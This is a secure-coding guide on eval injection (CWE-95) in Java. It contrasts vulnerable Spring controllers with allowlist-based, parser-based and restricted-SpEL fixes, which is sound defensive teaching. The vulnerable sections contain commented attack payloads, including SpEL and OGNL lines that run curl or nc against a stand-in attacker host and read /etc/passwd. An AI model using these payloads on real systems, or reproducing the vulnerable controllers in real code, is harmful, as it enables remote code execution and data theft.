CWE-95: Eval Injection - Java
Overview
In Java applications, CWE-95 vulnerabilities occur when untrusted input is passed to dynamic code execution mechanisms such as scripting engines (JavaScript/Nashorn, Groovy, Python/Jython), reflection APIs, or expression languages (SpEL, OGNL, MVEL). Untrusted input can originate from HTTP requests, external APIs, databases, files, message queues, or any source outside the application's control. While Java doesn't have a built-in eval() function like Python or JavaScript, it provides various mechanisms for dynamic code execution that can be equally dangerous when misused.
Primary Defence: Never evaluate untrusted input with scripting engines (JSR-223), SpEL, OGNL, or MVEL; use predefined operation mappings or allowlists instead of dynamic code execution, use Spring's @Value with validated property sources instead of dynamic SpEL evaluation, avoid reflection-based invocation with untrusted method names, use safe deserialization patterns or JSON instead of Java serialization, and implement strict input validation with allowlists to prevent arbitrary code execution.
Java applications are particularly vulnerable when using JSR-223 scripting engines with untrusted input, evaluating Spring Expression Language (SpEL) expressions from external sources, using Apache Commons OGNL or MVEL expression evaluators, employing reflection to dynamically invoke methods based on untrusted input, or deserializing untrusted data with default Java serialization. These mechanisms can allow attackers to execute arbitrary code, access the file system, make network connections, and completely compromise the application.
Common scenarios include: evaluating JavaScript code through Nashorn/GraalVM for business rules, using SpEL in Spring applications for dynamic configuration, employing OGNL in Struts applications, using MVEL for templating or rules engines, and reflection-based plugin systems. Modern frameworks like Spring provide powerful expression languages, but they must be used carefully to avoid code injection.
This guidance demonstrates how to eliminate eval injection in Java by replacing dynamic code execution with safe alternatives like predefined operation mappings, controlled class loading, safe expression evaluation, and secure deserialization patterns.
Common Vulnerable Patterns
JavaScript Engine with Untrusted Input
// VULNERABLE - JavaScript engine executing untrusted input
import javax.script.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class CalculatorController {
private ScriptEngine engine = new ScriptEngineManager()
.getEngineByName("JavaScript");
@PostMapping("/calculate")
public Map<String, Object> calculate(@RequestBody Map<String, String> request)
throws ScriptException {
String expression = request.get("expression");
// CRITICAL VULNERABILITY - executes arbitrary JavaScript
Object result = engine.eval(expression);
return Map.of("result", result);
}
}
// Attack examples:
// {"expression": "java.lang.Runtime.getRuntime().exec('whoami')"}
// {"expression": "new java.io.File('/etc/passwd').exists()"}
// {"expression": "java.lang.System.exit(0)"} // Crashes application
// All execute with full application privileges!
Spring Expression Language (SpEL) Injection
// VULNERABLE - SpEL evaluation of untrusted input
import org.springframework.expression.*;
import org.springframework.expression.spel.standard.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class ConfigController {
private SpelExpressionParser parser = new SpelExpressionParser();
@PostMapping("/evaluate")
public Map<String, Object> evaluate(@RequestBody Map<String, String> request) {
String expression = request.get("expression");
// CRITICAL VULNERABILITY - SpEL executes arbitrary code
Expression exp = parser.parseExpression(expression);
Object result = exp.getValue();
return Map.of("result", result);
}
}
// Attack examples:
// {"expression": "T(java.lang.Runtime).getRuntime().exec('curl http://attacker.com')"}
// {"expression": "T(java.lang.System).getProperty('user.home')"}
// {"expression": "new java.io.File('/etc/passwd').exists()"}
// {"expression": "T(java.lang.System).exit(1)"}
// Allows arbitrary Java code execution!
OGNL Expression Evaluation
// VULNERABLE - OGNL expression evaluation
import ognl.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class OgnlController {
@PostMapping("/ognl-eval")
public Map<String, Object> evaluateOgnl(@RequestBody Map<String, String> request)
throws OgnlException {
String expression = request.get("expression");
// CRITICAL VULNERABILITY - OGNL executes arbitrary code
Object result = Ognl.getValue(expression, new Object());
return Map.of("result", result);
}
}
// Attack examples:
// {"expression": "@java.lang.Runtime@getRuntime().exec('nc attacker.com 4444')"}
// {"expression": "@java.lang.System@getProperty('user.name')"}
// Full access to Java runtime and system!
Reflection-Based Dynamic Method Invocation
// VULNERABLE - Reflection with untrusted class/method names
import org.springframework.web.bind.annotation.*;
import java.lang.reflect.*;
@RestController
public class PluginController {
@PostMapping("/invoke")
public Map<String, Object> invokeMethod(@RequestBody Map<String, String> request)
throws Exception {
String className = request.get("className");
String methodName = request.get("methodName");
String param = request.get("parameter");
// CRITICAL VULNERABILITY - arbitrary class and method invocation
Class<?> clazz = Class.forName(className);
Method method = clazz.getMethod(methodName, String.class);
Object result = method.invoke(null, param);
return Map.of("result", result);
}
}
// Attack examples:
// {
// "className": "java.lang.Runtime",
// "methodName": "getRuntime",
// "parameter": ""
// } followed by exec()
//
// {
// "className": "java.lang.System",
// "methodName": "exit",
// "parameter": "0"
// } → Crashes application
Groovy Script Evaluation
// VULNERABLE - Groovy script execution
import groovy.lang.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class GroovyController {
private GroovyShell shell = new GroovyShell();
@PostMapping("/run-script")
public Map<String, Object> runScript(@RequestBody Map<String, String> request) {
String script = request.get("script");
// CRITICAL VULNERABILITY - executes arbitrary Groovy code
Object result = shell.evaluate(script);
return Map.of("result", result);
}
}
// Attack examples:
// {"script": "\"whoami\".execute().text"}
// {"script": "new File('/etc/passwd').text"}
// {"script": "System.exit(0)"}
// Full Groovy scripting capabilities available to attacker!
Unsafe Deserialization
// VULNERABLE - Java deserialization of untrusted data
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.util.Base64;
@RestController
public class DeserializeController {
@PostMapping("/deserialize")
public Map<String, Object> deserialize(@RequestBody Map<String, String> request)
throws Exception {
String data = request.get("data");
byte[] bytes = Base64.getDecoder().decode(data);
// CRITICAL VULNERABILITY - deserializes untrusted data
try (ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(bytes))) {
Object obj = ois.readObject();
return Map.of("object", obj.toString());
}
}
}
// Attack: Craft malicious serialized object using ysoserial
// Gadget chains in Apache Commons Collections, Spring, etc.
// Can execute arbitrary code during deserialization!
Secure Patterns
Safe Expression Evaluation with Allowlist
// SECURE - Predefined operations without code execution
import org.springframework.web.bind.annotation.*;
import java.util.*;
import java.util.function.BiFunction;
@RestController
public class SafeCalculatorController {
// Explicit allowlist of safe operations
private static final Map<String, BiFunction<Double, Double, Double>> OPERATIONS =
Map.of(
"add", (a, b) -> a + b,
"subtract", (a, b) -> a - b,
"multiply", (a, b) -> a * b,
"divide", (a, b) -> {
if (b == 0) throw new IllegalArgumentException("Division by zero");
return a / b;
},
"power", (a, b) -> {
if (Math.abs(b) > 100) {
throw new IllegalArgumentException("Exponent too large");
}
return Math.pow(a, b);
}
);
@PostMapping("/calculate")
public Map<String, Object> calculate(@RequestBody CalculateRequest request) {
// Validate inputs
if (request.getOperation() == null ||
request.getA() == null ||
request.getB() == null) {
throw new IllegalArgumentException("Missing required parameters");
}
// Check operation is in allowlist
BiFunction<Double, Double, Double> operation =
OPERATIONS.get(request.getOperation());
if (operation == null) {
throw new IllegalArgumentException(
"Invalid operation: " + request.getOperation()
);
}
// Execute safe operation
Double result = operation.apply(request.getA(), request.getB());
return Map.of("result", result);
}
// DTO for type-safe request binding
public static class CalculateRequest {
private String operation;
private Double a;
private Double b;
// Getters and setters
public String getOperation() { return operation; }
public void setOperation(String operation) { this.operation = operation; }
public Double getA() { return a; }
public void setA(Double a) { this.a = a; }
public Double getB() { return b; }
public void setB(Double b) { this.b = b; }
}
}
// Security mechanisms:
// - Explicit allowlist of operations
// - No eval, ScriptEngine, or reflection
// - Type-safe DTOs
// - Input validation
// - Bounds checking
// Usage:
// POST /calculate {"operation": "add", "a": 5, "b": 3} → 8
// POST /calculate {"operation": "multiply", "a": 4, "b": 7} → 28
// Safely rejects:
// POST /calculate {"operation": "exec", ...} → "Invalid operation"
Why This Works
This approach eliminates eval injection by completely avoiding dynamic code execution mechanisms. Instead of allowing arbitrary JavaScript expressions through Nashorn or other script engines, the pattern uses a predefined map of safe operation functions. Each operation is explicitly defined as a Java lambda that performs only the intended mathematical computation with proper validation. By mapping string operation names to concrete function implementations, the system ensures attackers cannot inject code - they can only select from the limited set of allowed operations.
The security relies on multiple defense layers. Type-safe DTOs with explicit fields prevent injection through structured binding, while the allowlist approach means any operation not explicitly registered simply doesn't exist in the system. Input validation ensures all parameters are present and of expected types before execution. Bounds checking on operations like power prevents denial-of-service attacks through resource exhaustion. This design completely removes the attack surface that script engines expose.
Compared to using ScriptEngine.eval() which executes arbitrary code with full Java runtime access, this pattern is inherently safe because it never interprets user input as code. The performance is also superior since there's no script compilation or interpretation overhead - just direct method invocation. For applications that need to support user-defined operations, the allowlist can be extended with new safe functions without introducing code execution risks. This pattern scales well and integrates cleanly with Spring Boot's dependency injection and validation frameworks.
Safe Mathematical Expression Parser
// SECURE - Custom parser for safe math expressions
import org.springframework.web.bind.annotation.*;
import java.util.*;
import java.util.regex.*;
@RestController
public class SafeExpressionController {
@PostMapping("/evaluate")
public Map<String, Object> evaluate(@RequestBody Map<String, String> request) {
String expression = request.get("expression");
// Validate expression format
if (expression == null || expression.length() > 200) {
throw new IllegalArgumentException("Invalid expression");
}
try {
SafeExpressionEvaluator evaluator = new SafeExpressionEvaluator();
double result = evaluator.evaluate(expression);
return Map.of("result", result);
} catch (IllegalArgumentException e) {
throw new IllegalArgumentException("Invalid expression: " + e.getMessage());
}
}
}
/**
* Safe mathematical expression evaluator using recursive descent parser
* Supports: +, -, *, /, (), numbers only
* NO code execution, NO variables, NO functions
*/
class SafeExpressionEvaluator {
private String expression;
private int position;
public double evaluate(String expr) {
// Validate only allowed characters
if (!expr.matches("[0-9+\\-*/().\\s]+")) {
throw new IllegalArgumentException("Expression contains invalid characters");
}
this.expression = expr.replaceAll("\\s", "");
this.position = 0;
double result = parseExpression();
// Ensure we consumed the entire expression
if (position < expression.length()) {
throw new IllegalArgumentException("Unexpected characters at end");
}
return result;
}
private double parseExpression() {
double result = parseTerm();
while (position < expression.length()) {
char op = expression.charAt(position);
if (op == '+' || op == '-') {
position++;
double term = parseTerm();
result = (op == '+') ? result + term : result - term;
} else {
break;
}
}
return result;
}
private double parseTerm() {
double result = parseFactor();
while (position < expression.length()) {
char op = expression.charAt(position);
if (op == '*' || op == '/') {
position++;
double factor = parseFactor();
if (op == '*') {
result *= factor;
} else {
if (factor == 0) {
throw new IllegalArgumentException("Division by zero");
}
result /= factor;
}
} else {
break;
}
}
return result;
}
private double parseFactor() {
// Handle parentheses
if (position < expression.length() && expression.charAt(position) == '(') {
position++; // skip '('
double result = parseExpression();
if (position >= expression.length() || expression.charAt(position) != ')') {
throw new IllegalArgumentException("Missing closing parenthesis");
}
position++; // skip ')'
return result;
}
// Handle unary minus
if (position < expression.length() && expression.charAt(position) == '-') {
position++;
return -parseFactor();
}
// Parse number
return parseNumber();
}
private double parseNumber() {
int start = position;
while (position < expression.length() &&
(Character.isDigit(expression.charAt(position)) ||
expression.charAt(position) == '.')) {
position++;
}
if (start == position) {
throw new IllegalArgumentException("Expected number at position " + position);
}
String numberStr = expression.substring(start, position);
try {
return Double.parseDouble(numberStr);
} catch (NumberFormatException e) {
throw new IllegalArgumentException("Invalid number: " + numberStr);
}
}
}
// Safe expressions:
// "2 + 2" → 4
// "3 * (4 + 5)" → 27
// "10 / 2 - 3" → 2
// Safely rejects:
// "Runtime.getRuntime()" → "Invalid characters"
// "exec('ls')" → "Invalid characters"
Why This Works
This pattern prevents eval injection by implementing a custom recursive descent parser that understands only mathematical syntax. Unlike ScriptEngine.eval() which interprets the full JavaScript language including imports, function calls, and object access, this parser recognizes only numbers, parentheses, and basic arithmetic operators. The character allowlist validation [0-9+\-*/().\s]+ ensures that dangerous constructs like "Runtime.getRuntime()" or "System.exit()" are rejected before parsing even begins, preventing any attempt to inject Java code.
The recursive descent parsing technique safely breaks down expressions into a tree structure representing mathematical operations. Each parsing method (parseExpression, parseTerm, parseFactor) handles specific precedence levels and validates the syntax at every step. Division by zero is caught explicitly, and the parser ensures all parentheses are balanced. Because the parser never calls external libraries or reflection APIs, there's no code path that could execute arbitrary Java code - it only performs arithmetic calculations on numeric values.
This approach offers excellent performance since parsing and evaluation happen in a single pass without any compilation overhead. The implementation can be extended to support additional safe mathematical functions (sqrt, sin, cos) by adding new parsing methods while maintaining security. For production use, consider libraries like exp4j or JEXL configured in safe mode, which provide similar guarantees with more features. This pattern is ideal when you need complete control over what expressions are allowed and want zero risk of code injection.
Controlled Plugin System with Allowlist
// SECURE - Plugin system with interface and allowlist
import org.springframework.stereotype.Service;
import java.util.*;
/**
* Plugin interface that all plugins must implement
*/
public interface Plugin {
String getName();
Map<String, Object> execute(Map<String, Object> parameters);
}
/**
* Safe plugin loader with allowlist
*/
@Service
public class SafePluginLoader {
// Explicit allowlist of approved plugin classes
private static final Map<String, String> ALLOWED_PLUGINS = Map.of(
"dataValidator", "com.example.plugins.DataValidatorPlugin",
"reportGenerator", "com.example.plugins.ReportGeneratorPlugin",
"emailSender", "com.example.plugins.EmailSenderPlugin"
);
// Cache loaded plugins
private final Map<String, Plugin> pluginCache = new HashMap<>();
/**
* Load a plugin by name from the allowlist
*/
public Plugin loadPlugin(String pluginName) {
// Check allowlist
String className = ALLOWED_PLUGINS.get(pluginName);
if (className == null) {
throw new IllegalArgumentException("Plugin not allowed: " + pluginName);
}
// Check cache
if (pluginCache.containsKey(pluginName)) {
return pluginCache.get(pluginName);
}
try {
// Load only the allowlisted class
Class<?> clazz = Class.forName(className);
// Verify it implements Plugin interface
if (!Plugin.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException(
"Class does not implement Plugin interface: " + className
);
}
// Instantiate
Plugin plugin = (Plugin) clazz.getDeclaredConstructor().newInstance();
// Cache and return
pluginCache.put(pluginName, plugin);
return plugin;
} catch (ReflectiveOperationException e) {
throw new IllegalArgumentException("Failed to load plugin: " + pluginName, e);
}
}
/**
* Execute a plugin by name
*/
public Map<String, Object> executePlugin(
String pluginName,
Map<String, Object> parameters) {
// Validate parameters
validateParameters(parameters);
// Load and execute
Plugin plugin = loadPlugin(pluginName);
return plugin.execute(parameters);
}
private void validateParameters(Map<String, Object> parameters) {
if (parameters == null) {
return;
}
// Validate all values are safe types
for (Map.Entry<String, Object> entry : parameters.entrySet()) {
Object value = entry.getValue();
if (value != null &&
!(value instanceof String ||
value instanceof Number ||
value instanceof Boolean)) {
throw new IllegalArgumentException(
"Invalid parameter type: " + value.getClass()
);
}
}
}
}
@RestController
public class PluginController {
private final SafePluginLoader pluginLoader;
public PluginController(SafePluginLoader pluginLoader) {
this.pluginLoader = pluginLoader;
}
@PostMapping("/run-plugin")
public Map<String, Object> runPlugin(@RequestBody PluginRequest request) {
try {
Map<String, Object> result = pluginLoader.executePlugin(
request.getPluginName(),
request.getParameters()
);
return result;
} catch (IllegalArgumentException e) {
throw new ResponseStatusException(
HttpStatus.BAD_REQUEST,
e.getMessage()
);
}
}
public static class PluginRequest {
private String pluginName;
private Map<String, Object> parameters;
// Getters and setters
public String getPluginName() { return pluginName; }
public void setPluginName(String name) { this.pluginName = name; }
public Map<String, Object> getParameters() { return parameters; }
public void setParameters(Map<String, Object> params) { this.parameters = params; }
}
}
// Usage:
// POST /run-plugin {
// "pluginName": "dataValidator",
// "parameters": {"data": "test"}
// }
// Safely rejects:
// POST /run-plugin {"pluginName": "java.lang.Runtime"}
// → "Plugin not allowed"
Why this works:
This pattern eliminates module loading vulnerabilities by strictly controlling which classes can be loaded through an explicit allowlist. Instead of passing untrusted user input directly to Class.forName(), the system maps user-provided plugin names to hardcoded class names that developers have vetted. Attackers cannot load arbitrary classes like Runtime, System, or ProcessBuilder because only the plugins explicitly registered in the ALLOWED_PLUGINS map can be instantiated. The class names are trusted constants defined at development time, not runtime values from external input.
The interface validation ensures all loaded plugins implement the Plugin interface with a known execute() method contract. Parameter type validation restricts plugin inputs to safe primitive types (String, Number, Boolean), preventing object injection attacks where malicious objects with dangerous methods might execute code. The caching mechanism prevents repeated class loading that could trigger static initializers multiple times, while also improving performance. Interface enforcement through instanceof checks ensures plugins conform to expected behavior.
For applications requiring extensibility, this pattern provides a secure plugin architecture without the risks of dynamic reflection. The allowlist can be managed through configuration files or environment variables, allowing plugin additions without code changes while maintaining security. Compare this to reflection with path sanitization - those can often be bypassed, whereas an allowlist approach has no bypass potential since only predefined classes are accessible. This pattern works well with dependency injection frameworks like Spring where plugins can be beans referenced by name rather than class path.
Safe Configuration with Properties/YAML
// SECURE - Safe configuration loading without code execution
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.stereotype.Component;
import org.springframework.web.bind.annotation.*;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.dataformat.yaml.YAMLFactory;
import java.util.*;
@RestController
public class ConfigController {
private final ObjectMapper jsonMapper = new ObjectMapper();
private final ObjectMapper yamlMapper = new ObjectMapper(new YAMLFactory());
@PostMapping("/load-config")
public Map<String, Object> loadConfig(@RequestBody ConfigRequest request) {
String format = request.getFormat();
String configData = request.getData();
// Validate input
if (configData == null || configData.length() > 1_000_000) {
throw new IllegalArgumentException("Invalid config data");
}
try {
Map<String, Object> config;
if ("json".equals(format)) {
// JSON is always safe
config = jsonMapper.readValue(
configData,
new TypeReference<Map<String, Object>>() {}
);
} else if ("yaml".equals(format)) {
// YAML with Jackson (safe, no code execution)
config = yamlMapper.readValue(
configData,
new TypeReference<Map<String, Object>>() {}
);
} else if ("properties".equals(format)) {
// Java Properties format (safe)
Properties props = new Properties();
props.load(new StringReader(configData));
config = new HashMap<>();
for (String key : props.stringPropertyNames()) {
config.put(key, props.getProperty(key));
}
} else {
throw new IllegalArgumentException("Invalid format: " + format);
}
// Validate config contains only safe types
validateSafeTypes(config, 0);
return Map.of("config", config);
} catch (Exception e) {
throw new IllegalArgumentException("Failed to parse config", e);
}
}
private void validateSafeTypes(Object obj, int depth) {
// Prevent deeply nested structures
if (depth > 10) {
throw new IllegalArgumentException("Config too deeply nested");
}
if (obj instanceof Map) {
Map<?, ?> map = (Map<?, ?>) obj;
for (Map.Entry<?, ?> entry : map.entrySet()) {
validateSafeTypes(entry.getValue(), depth + 1);
}
} else if (obj instanceof List) {
List<?> list = (List<?>) obj;
for (Object item : list) {
validateSafeTypes(item, depth + 1);
}
} else if (!(obj instanceof String ||
obj instanceof Number ||
obj instanceof Boolean ||
obj == null)) {
throw new IllegalArgumentException(
"Unsafe type in config: " + obj.getClass()
);
}
}
public static class ConfigRequest {
private String format;
private String data;
public String getFormat() { return format; }
public void setFormat(String format) { this.format = format; }
public String getData() { return data; }
public void setData(String data) { this.data = data; }
}
}
// NEVER use:
// new org.yaml.snakeyaml.Yaml().load(input) // Can execute code
// new ObjectInputStream(input).readObject() // Deserialization vulnerability
Why This Works
This pattern prevents code injection during configuration loading by using Jackson's safe deserialization mechanisms instead of potentially dangerous alternatives. Jackson's JSON and YAML parsers are designed to deserialize data into predefined object structures without executing code. Unlike SnakeYAML's Yaml.load() which can instantiate arbitrary Java objects through YAML tags like !!java.lang.Runtime, Jackson requires explicit type information and won't execute constructors or methods from user input. The Java Properties format is inherently safe as it only supports string key-value pairs.
The type validation layer ensures configuration contains only safe primitive types (String, Number, Boolean, null) and standard collections. By recursively validating the entire configuration tree, the code prevents injection of dangerous objects that might have custom toString() or hashCode() methods that execute code. Depth limits prevent denial-of-service attacks through deeply nested structures that could cause stack overflow, while size limits prevent memory exhaustion.
This approach supports multiple configuration formats (JSON, YAML, Properties) while maintaining security across all of them. For complex configuration needs, consider using Spring's @ConfigurationProperties which binds configuration to POJOs with validation annotations, providing type safety and automatic validation. The key principle is that configuration should be data, never code - users provide values, not executable instructions. This pattern integrates seamlessly with Spring Boot's configuration system while adding an extra validation layer for untrusted configuration sources.
Safe Deserialization with JSON
// SECURE - JSON deserialization instead of Java serialization
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import org.springframework.web.bind.annotation.*;
import java.util.*;
@RestController
public class SafeDeserializeController {
private final ObjectMapper objectMapper = new ObjectMapper();
@PostMapping("/save-data")
public Map<String, Object> saveData(@RequestBody UserData userData) {
try {
// Serialize to JSON (safe)
String json = objectMapper.writeValueAsString(userData);
// Store in database or cache
return Map.of("saved", json);
} catch (Exception e) {
throw new IllegalArgumentException("Serialization failed", e);
}
}
@PostMapping("/load-data")
public Map<String, Object> loadData(@RequestBody Map<String, String> request) {
String json = request.get("data");
try {
// Deserialize from JSON (safe, no code execution)
UserData userData = objectMapper.readValue(json, UserData.class);
return Map.of("user", userData);
} catch (Exception e) {
throw new IllegalArgumentException("Deserialization failed", e);
}
}
// DTO with explicit fields
public static class UserData {
private Long userId;
private String username;
private String email;
// Getters and setters
public Long getUserId() { return userId; }
public void setUserId(Long id) { this.userId = id; }
public String getUsername() { return username; }
public void setUsername(String name) { this.username = name; }
public String getEmail() { return email; }
public void setEmail(String email) { this.email = email; }
}
}
// NEVER use for untrusted data:
// ObjectInputStream.readObject()
// XMLDecoder.readObject()
// XStream.fromXML() without security framework
Why This Works
This pattern eliminates deserialization vulnerabilities by replacing Java's native serialization with JSON. Java's ObjectInputStream is fundamentally unsafe with untrusted data because it can trigger code execution during deserialization through gadget chains - sequences of method calls in common libraries like Apache Commons Collections that lead to arbitrary code execution. JSON, by contrast, is a pure data format that has no mechanism for encoding executable code or object constructors. Jackson deserializes JSON into Java objects by calling setters and constructors, not by reconstituting arbitrary serialized object graphs.
Using explicit DTO classes with Jackson provides type safety and validation. The deserializer only populates the fields defined in the DTO, ignoring any extra fields in the JSON. This prevents polymorphic deserialization attacks where attackers specify unexpected types. Jackson's default configuration doesn't support type information in JSON (unlike some libraries with @class annotations), so attackers cannot force instantiation of arbitrary classes. The DTO pattern also makes the code more maintainable and self-documenting.
For applications that previously used Java serialization for session storage, caching, or inter-service communication, migrating to JSON is straightforward and brings additional benefits. JSON is human-readable for debugging, cross-language compatible, and has smaller payload sizes in many cases. If you need to preserve object relationships or support polymorphism, use Jackson's @JsonTypeInfo with a allowlist of safe classes, but for most use cases, simple DTOs are sufficient and completely eliminate deserialization attacks. This pattern is essential for any application accepting serialized data from untrusted sources.
Spring SpEL with SimpleEvaluationContext
// SECURE - Restricted SpEL evaluation (if absolutely necessary)
import org.springframework.expression.*;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import org.springframework.web.bind.annotation.*;
import java.util.*;
@RestController
public class SafeSpelController {
private final SpelExpressionParser parser = new SpelExpressionParser();
@PostMapping("/evaluate-template")
public Map<String, Object> evaluateTemplate(@RequestBody TemplateRequest request) {
// Pre-defined template (NOT untrusted input!)
String template = "Hello #{name}, your order ##{orderId} total is #{total}";
// User provides data, not template
Map<String, Object> context = Map.of(
"name", request.getName(),
"orderId", request.getOrderId(),
"total", request.getTotal()
);
// Validate context values
validateContext(context);
try {
// Use SimpleEvaluationContext (restricted, no type references)
EvaluationContext evalContext = SimpleEvaluationContext
.forReadOnlyDataBinding()
.build();
// Set variables
for (Map.Entry<String, Object> entry : context.entrySet()) {
evalContext.setVariable(entry.getKey(), entry.getValue());
}
// Parse and evaluate
Expression exp = parser.parseExpression(template);
String result = exp.getValue(evalContext, String.class);
return Map.of("result", result);
} catch (Exception e) {
throw new IllegalArgumentException("Evaluation failed", e);
}
}
private void validateContext(Map<String, Object> context) {
for (Object value : context.values()) {
if (value != null &&
!(value instanceof String ||
value instanceof Number ||
value instanceof Boolean)) {
throw new IllegalArgumentException(
"Invalid context value type: " + value.getClass()
);
}
}
}
public static class TemplateRequest {
private String name;
private Long orderId;
private Double total;
// Getters and setters
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Long getOrderId() { return orderId; }
public void setOrderId(Long id) { this.orderId = id; }
public Double getTotal() { return total; }
public void setTotal(Double total) { this.total = total; }
}
}
// CRITICAL: Never use StandardEvaluationContext with untrusted input!
// StandardEvaluationContext - Allows T(java.lang.Runtime).getRuntime().exec()
// ✅ SimpleEvaluationContext - Restricted, safer
Why this works:
This pattern demonstrates the critical difference between StandardEvaluationContext and SimpleEvaluationContext in Spring Expression Language security. StandardEvaluationContext allows type references (T(java.lang.Runtime)), constructor calls, and access to bean factories - features that enable arbitrary code execution. SimpleEvaluationContext deliberately removes these capabilities, supporting only property access and method calls on the objects explicitly provided in the context. By using SimpleEvaluationContext with read-only data binding, the system ensures SpEL can only interpolate values, not execute code.
The security model relies on separating templates from data. The template structure is defined by trusted developers and hardcoded in the application ("Hello #{name}, your order ##{orderId} total is #{total}"). Users provide only the data values (name, orderId, total) that populate the placeholders. SpEL evaluates these simple property references without executing methods or accessing the runtime. Context value validation ensures only safe primitive types are accepted, preventing injection of malicious objects with dangerous toString() methods.
This approach is appropriate for templating scenarios where the template structure is trusted but needs to be populated with dynamic data. For user-provided templates, even SimpleEvaluationContext is risky - use a dedicated template engine like Handlebars, Thymeleaf, or Freemarker instead, which are designed for rendering untrusted templates safely. If you must use SpEL for configuration, ensure templates come from trusted sources (configuration files, database with access controls) and never directly from user input. The read-only data binding prevents modification of application state through SpEL expressions.
Verification
After implementing the recommended secure patterns, verify the fix through multiple approaches:
- Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
- Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
- Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
- Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
- Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
- Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
- Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
- Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced